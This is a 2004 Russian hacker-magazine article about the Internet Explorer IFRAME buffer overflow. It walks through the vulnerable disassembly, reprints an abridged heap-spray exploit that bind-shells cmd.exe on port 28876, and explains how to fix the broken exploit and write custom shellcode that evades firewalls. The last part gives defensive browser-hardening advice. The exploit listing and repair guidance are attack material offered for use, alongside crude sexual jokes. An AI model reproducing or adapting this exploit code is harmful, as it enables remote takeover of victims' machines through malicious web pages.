IFRAME_exp

секс с IFRAME\\ или как размножаются черви в InternetExplorer'e

крис касперски ака мыщъх
no-email

Пессимист знает, что Винда рухнет, а оптимист верит, что перед крахом она еще поработает.

народное

старый год уходит, а дыры в программах остаются. количество незалатанных машин исчисляется миллионами — о лучшем подарке к новому годы хакеры не могли и мечтать (а настоящие хакеры справляют новый год не в обнимку с бутылкой шампанского, а в компании монитора).

недавно в IE было найдено очередное переполнение буфера — на этот раз в теге IFRAME и уже появился эксплоит. не совсем работающий, но уже растиражированный по всей сети.

как отремонтировать его? как переписать shell-код? как защитить свой компьютер от атак?

В начале ноября 2004 года в MicrosoftInternetExplorer'e была обнаружена очередная уязвимость — переполнение буфера в плавающих фреймах (тег IFRAME), позволяющее передавать управление на shell-код и захватывать управление машиной, после чего жертву террора можно насиловать как угодно и чем угодно (например, использовать как плацдарм для дальнейших атак или спама, похищать конфиденциальную информацию, бесплатно звонить за бугор и много еще чего).

Уязвимости подвержены: IE версий 5.5 и 6.0, а так же Opera 7.23 (другие версии не проверял). Неуязвимы: IE 5.01 плюс Service Pack 3 или Service Pack 4, IE 5.5 плюс Service Pack 2, IE 5.00 на Windows 2000 без сервис паков, IE 6 на Windows Server 2003 без сервис паков, IE 6 на Windows XP плюс Service Pack 2.

По умолчанию IE не запрещает выполнение плавающих фреймов в Интернет и Интранет-зонах. Чтобы подцепить заразу, жертве достаточно зайти на URL с агрессивным кодом внутри. С OutlookExpress дело обстоит иначе — HTML-письма открываются в зоне ограниченного доверия и теги IFRAME по умолчанию не обрабатываются. Java-скрипт не может самостоятельно вызвать переполнение буфера при просмотре письма и для активизации shell-кода жертва должна взять в руки мышь и кликнуть по ссылке. Уже появилась новая версия интернет-червя MyDoom, использующая эту технологию для своего распространения, да и новые черви не за горами, так что не теряйте бдительности и не кликайте по ссылкам, если полностью в них неуверенны.

iframe_exp_image_0.jpg

Рисунок 1 хакерство — эротическое переплетение юношеской романтики с сексуальной энергией экплоитов (картинка взята с сайта Berend-Jan Wever — Д'Ардатьяна плавающих фреймов, в роли Партоса выступает его верный друг blazde, а Армаиса — HDM)

Переполняющий код в общем случае выглядит так: <IFRAMEsrc=file:AAAAAAname=«BBBBBBxx»></IFRAME>, где AAAAAA и «BBBBB» текстовые строки строго дозированной длины, набранные в UNICODE, а «xx» – символы, затирающие указатель на виртуальную функцию экземпляра ООП-объекта, находящуюся внутри динамической библиотеки SHDOCVW.DLL. Дизассемблерный листинг уязвимого кода приведен ниже (конкретные адреса варьируются от одной версии IE к другой): 7178EC028B 08MOVECX, DWORD PTR [EAX] 7178EC02; загружаем указатель на таблицу виртуальных функций 7178EC02; некоторого ООП-объекта 7178EC02; после переполнения в регистре EAX окажутся символы xx, 7178EC02; расположенные в хвосте UNICODE-строки с именем файла 7178EC02 7178EC0468 84 7B 70 71PUSH71707B84 7178EC04; заталкиваем в стек константный указатель 7178EC04 7178EC0950PUSHEAX 7178EC09; заталкиваем в стек указатель this 7178EC09; указывающий на экземпляр ООП-объект 7178EC09; с таблицей виртуальных функций внутри 7178EC09 7178EC0AFF 11CALLNEAR DWORD PTR [ECX] 7178EC0A; вызываем виртуальную функцию, по указателю ECX 7178EC0A; (теперь уже затертому и содержащему подложные данные) Листинг 1 фрагмент IE, обеспечивающий передачу управления на shell-код. Двойной косвенный вызов функции по указателю причиняет хакеру дикую головную боль, разрывая мозги напополам с задницей изнутри. Засунуть в EAX указатель на произвольную область памяти — не проблема. Сложнее добиться, чтобы по этому адресу был расположен указатель на shell-код, местоположение которого наперед неизвестно. Как же быть? ===== эксплоит ===== Первым эту задачу решил нидерландский хакер Berend-Jan Wever, совместо с blazde и HDM сконструировавший более или менее работоспособный эксплоит с кодовым названием BoFPoCexploit (см. листинг 2), демонстрационный вариант которого можно скачать с домашней странички автора: http://www.edup.tudelft.nl/~bjwever/. Как он работает? Сначала запускается Java-скрипт, заполняющий практически всю доступную динамическую память nopslides-блоками. В начале каждого такого блока расположено большое количество указателей на адрес 0D0D0D0Dh (значение выбрано произвольным образом), а в конце находится непосредственно сам shell-код. Если хотя бы один nopslides-блок накроет своей тушей адрес 0D0D0D0Dh, в ячейке 0D0D0D0Dh с некоторой вероятностью окажется указатель на 0D0D0D0Dh. И какова же эта вероятность? Попробуем рассчитать. Куча (она же — динамическая память) состоит из блоков размером в 1 Мбайт. Из них 60 (3Ch) байт «съедает» служебный заголовок, а все остальное отдано под нужды пользователя. Стартовые адреса выделяемых блоков округлятся по границе в 64 Кбайт, поэтому блок, перекрывающий адрес 0D0D0D0Dh может быть расположен по любому из следующих адресов: 0D010000h, 0D020000h … 0D0D0000h. В худшем случае, расстояние между ячейкой 0D0D0D0D и концом nopslides-блока будет составлять 775 байт (если служебный заголовок идет вначале) и 695 байт (если служебный заголовок идет в конце). Таким образом, если размер shell-кода не превышает 651 байт (695 байт минус длина 32-разрядного указателя) и хотя бы один nopslides блок перекрывает адрес 0D0D0D0Dh (что вовсе не факт!), вероятность его срабатывания равна единице. Следует заметить, что значение указателя выбрано достаточно удачно. В IE версии 5.х куча начинается с адреса 018C0000h и простилается вплоть до 10000000h, так что адрес 0D0D0D0Dh попадает в окрестности вершины. По умолчанию, IE открывает все окна в контексте одного и того же процесса и с каждым открытым окном нижняя граница кучи перемещается вверх, поэтому трогать младшие адреса нежелательно. Тем не менее, если заменить 0D0D0D0Dh на 0A0A0A0Ah можно обойтись значительно меньшим количеством nopslides-блоков. Стратегию выделения динамической памяти удобно исследовать в утилите LordPEDeluxe (см. рис. 2) или любой другой, способной отображать карту виртуальной памяти произвольного процесса. Но мы, похоже, забрели не в ту степь. Оставим теоретические дебри и вернемся к нашим баранам. Рисунок 2 динамическая память IE под микроскопом LordPe Deluxde (dump  dump region) На второй стадии атаки, в игру вступает тег IFRAME, вызывающий переполнение буфера и засовывающий в регистр EAX значение 0D0D0D0Dh. Уязвимый код, расположенный в динамической библиотеке SHDOCVW.DLL, считывает двойное слово по адресу 0D0D0D0Dh (а оно, как мы помним, при благоприятном стечении обстоятельств будет равно 0D0D0D0Dh) и передает на него управление, попадая внутрь принадлежащего ему nopslide-блока. Большое количество 0D0D0D0Dh-указателей, расположенных в его начале, интерпретируются процессором как машинные команды OR EAX, 0D0D0D0Dh, которые не делают ничего полезного и управление спокойно докатывается до shell-кода и он, следуя зову природы, подчиняет удаленную машину воле атакующего. Проблема в том, что по соображениям безопасности Java не дает прямого доступа к виртуальным адресам и занимается выделением памяти самостоятельно, а это значит, что захват адреса 0D0D0D0Dh не гарантирован даже при выделении всей доступной скрипту памяти, хотя с ростом количества nopslides-блоков шансы на успех увеличиваются. С другой стороны, при выделении большого количества nopslides-блоков операционная система начинает дико тормозить и шуршать жестким диском, а хронология использования памяти в диспетчере задач растет как на дрожжах (см. рис. 3), что моментально демаскирует атакующего, не говоря уже о том, что у нормальных пользователей скрипты всегда отключены. Так что атака носит сугубо «лабораторный» характер и в условиях дикой природы неработоспособна. Однако, расслабляться все-таки не стоит, поскольку возможны и более элегантные сценарии переполнения (некоторые идеи содержатся в «Записках исследователя компьютерных вирусов» Криса Касперски). Рисунок 3 рост темпов использования памяти при запуске эксплоита на выполнение <HTML> Java-скрипт, исполняющийся на первой стадии атаки

подготавливает указатели для передачи управления и формирует shell-код <SCRIPT language=«javascript»> shell-код, получающий управление после переполнения и устанавливающий

удаленный shell на cmd.exe по 28876 порту (приводится в сокращенном виде)

shellcode = unescape(«%u4343%u4343%u0178…………%uffff%uc483%u615c%u89eb»);

указатель на shell-код, который будет «размножен» в памяти bigblock = unescape(«%u0D0D%u0D0D»); размер служебного заголовка, прицепляемого к каждому блоку

памяти, выделяемому из кучи (в двойных словах) headersize = 20; конструируем nopslides-блоки

главное — подогнать размер так, чтобы выделяемые регионы динамической памяти следовали вплотную друг к другу без зазоров

между ними ––––––––––––––––––––––––––––––––––––––––––––––––––––––––––––––––-

заносим в slackspace сумму длин shell-кода и служебного заголовка slackspace = headersize+shellcode.length; создает bigblock, заполняя его 0D0D0D0Dh символами

while (bigblock.length<slackspace) bigblock+=bigblock;

копируем в fillblockslackscape двойных слов, фактически обрезая bigblock по заданной границе

(на редкость тупое решение, но… оно работает) fillblock = bigblock.substring(0, slackspace); копируем в blockbigblock.length-slackspace символов 0D0D0D0Dh

block = bigblock.substring(0, bigblock.length-slackspace);

растягиваем block до нужной величины while(block.length+slackspace<0x40000) block = block+block+fillblock; выделяем 700 блоков памяти из кучи,

копируя в начало каждого из них растянутый block и дописывая shell-код в конец

memory = new Array(); for (i=0;i<700;i++) memory[i] = block + shellcode;

</SCRIPT>

плавающий фрейм, исполняющийся на второй стадии атаки вызывает переполнение буфера и передает управление по адресу [0D0D0D0Dh]

<IFRAMESRC=file:BBBBBBBBBBBBBBBBBBBBBBBB……………………………BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB NAME=«CCCCCCCCCCCCCCCCCCCCCCCCCCCCC……………………………CCCCCCCCCCCCCCCCCCCCCCCCCCCC**»>
</IFRAME> </HTML> Листинг 2 код экплоита (печатается с сокращениями) ===== реанимация эксплоита ===== Последствия практического применения эксплоита варьируются от «не совсем работает» до «совсем не работает» и прежде, чем эта штука реально заведется, выбросив из выхлопной трубы, едкие газы дампа памяти, над ней придется попыхтеть (в смысле «потрахаться», по и попыхтеть тоже — пиво, сигареты, косяки по вкусу, а вот женщин лучше из поля зрения убрать, женщины пагубно влияют на хакеров, особенно если они лисы — читайте «Священную книгу оборотня» Виктора Пелевина и делайте выводы). Начнем с того, что в сети появилось множество перепечаток исходного текста эксплоита (например, http://www.securitylab.ru/49273.html), необратимо его угробивших. Во-первых, код должен быть представлен в кодировке UNICODE, а не ASCII. Во-вторых, символы 0D0D0D0Dh, расположенные в хвосте переполняющей строки, в перепечатках замещаются черт знает чем. В-третьих, внедрение «лишних» переводов каретки в переполняющие строки и shellcode-строку категорически недопустимо (но при перепечатке эксплоита все происходит именно так!). Всегда используйте только оригинальный BoFPoCexploit, а лучше — его слегка усовершенствованный вариант. Для начала необходимо сбалансировать код: если расстояние между первой выполняемой командой nopslides-блока и началом shell-кода не будет кратно пяти (пять байт — длина инструкции OR EAX, 0D0D0D0DDh), произойдет заем байтов из shell-кода, что неминуемо его разрушит. Создание буферной зоны в начале shell-кода из четырех команд NOP (90h) решает проблему. Рисунок 4 фрагмент оригинального эксплоита: все строки набраны в UNICODE и в конце находится код 0D0D0D0Dh Рисунок 5 тот же самый фрагмент после перепечатки: строки в ASCII, код 0D0D0D0Dh превращен в 3F3Fh ===== составление собственного shell-кода ===== Стратегия разработки shell-кода вполне стандартна. Устанавливаем регистр ESP на безопасное место (в данном случае на 0D0D0D0Dh), определяем адреса API функций прямым сканированием памяти или через Блок Окружения Процесса (ProcessEnvironmentBlock или сокращенно PEB), создаем удаленное TCP/IP соединение в контексте уже установленного (этим мы ослепляем брандмауэры), и затягиваем основной исполняемый модуль, сохраняя его на диске (это просто, но слишком заметно) или в оперативной памяти (сложная реализация, но зато какой результат!). Ограничений на размер shell-кода практически нет (в нашем распоряжении чуть больше полкилобайта памяти). Строка представлена в формате UNICOD, а это значит, что в ней могут присутствовать одиночные нулевые символы, поэтому извращаться с расшифровщиками нет никакой необходимости. shell-код наследует все привилегии браузера (а большинство неопытных пользователей запускают его с правами администратора), поэтому его возможности ограничены разве что фантазией разработчика. Подробное описание техники разработки эксплоитов потребовало бы отдельной темы номера и ведь такая тема номера недавно была! (см. kris kaspersky0000-00-00T00:00:00kkкак сейчас помню, для летнего «Спец-хакера» готовил обширную тему номера по переполняющимся буферам. Но вот когда она вышла уже не скажу… номер XXX). За подробным разъяснением обращайтесь к «Запискам исследователя компьютерных вирусов II» (название рабочее), которая скоро выйдет в издательстве «Питер». ===== с презервативом или без ===== Установка пакета обновления (в просторечии сервис-пака), горячо рекомендуемая многими специалистами по безопасности, устраняет уже обнаруженные дыры, но оставляет массу еще неизвестных, так что в целом ситуация остается неизменной. Нужно найти простое и практичное решение, затыкающее дыры раз и навсегда, а не дергаться по каждому поводу, тем более что поддержка «морально устаревших» (с точки зрения Microsoft!) операционных систем и браузеров уже прекращена, но переход на «супер-защищенную» Windows XP лично меня совсем не радует (лучше уж сразу на Free BSD). К сожалению, панацею от всех бед выдумать невозможно (Парацельс вон и тот на ней все зубы пообламывал), но вот усилить защищенность своего компьютера можно вполне. Зайдите в Сервис  Свойства обозревателя  Безопасность, заставив бразуер запрашивать подтверждение на «запуск программ и файлов в окне IFRAME» и выполнение сценариев/ объектов Active X во всех зонах безопасности (Интернет, Местная интрасеть, надежные и ограниченные узлы). Большинство сайтов нормально отображаются и без скриптов. Там же, где скрпты действительно необходимы, их можно разрешить явно (но это должны быть нормальные сайты крупных компаний, а не какие-то там отстойники). Еще надежнее — установить VMWare и запускать браузер под управлением виртуальной машины. Можно смело блуждать по трущобам Интернета, не боясь подцепить заразу. Естественно, VMWare защищает только от атак на браузер, но не на саму операционную систему, поэтому вам так же потребуется и брандмауэр. В Windows XP он встроен изначально, а поклонникам Windows 2000 (сам к таковым отношусь!) я рекомендую установить SygatePersonalFirewall версии 4.5 (для домашних пользователей он бесплатен). Более свежие версии уже просят денежек или требуют применения ломалки. Что же касается Windows 98, то она и без брандмауэра неплохо справляется. Конечно, работать с виртуальными машинами не слишком удобно. Они кушают много памяти и требуют мощных процессоров, поэтому можно пойти на компромиссный вариант: создать нового пользователя с ограниченными правами (Панель Управления  Пользователи и пароли), лишить его доступа ко всем ценным папам и документам (Свойства файла  Безопасность) и запускать IE и OutlookExpress от его имени (Свойства ярлыка  Запускать от имени другого пользователя). Сохраняя WEB-страницы на диск, имейте ввиду, что при локальном открытии HTML-файлов, Интернет-политика безопасности не действует — Java-скрипты и плавающие фреймы выполняются автоматически, без запросов на подтверждение и потому вирус может легко просочиться в основную систему. Рисунок 6 настойка политики безопасности в браузере ===== заключение ===== Хакерская активность растет с каждым днем, пробивая новые бреши в мелкософтных программах и особенно — в InternetExplorer'e. Может стоит перейти на Oper'у или же вовсе эмигрировать на другую операционную систему (например, LINUX)? Увы! Баги водятся не только в Microsoft, они есть и у остальных. Другой дело, что методы борьбы с ними различны. Обладатели коммерческого кода вынуждены ждать заплаток словно милости от природы, а если производитель вдруг прекратит поддержку продукта, в срочном порядке переходить на новую версию (даже если она на фиг не нужна) или хачить программу непосредственно в машинном коде, теряя на это уйму времени и мозговых извилин. При наличии исходных текстов заплатка изготавливается элементарно, а децентрализованная модель разработки операционных систем семейства UNIX, позволяет забыть об амбициях конкретного производителя. Не выпустит вовремя заплатку — ну и хрен с ним, это сделают другие. Тем не менее, без заплаток дело все-таки не обходится. К тому же качество оптимизации некоторых UNIX'ов прямо так скажем находится не на высоте (никто не ставил Федорино Горе 3.0 на P-III 733? сдохнуть можно пока она загрузится). KNOPPIX 3.7 выглядит лучшей альтернативой — нормально грузится с CD, не требуя установки на жесткий диск, послушно выходит в Интернет по PPP, лазит по WEB'у, проверяет почту, открывает документы MS Word и pdf, но так при этом тормозит, что поневоле начинаешь задумываться — так ли плоха Microsoft как ее малюют?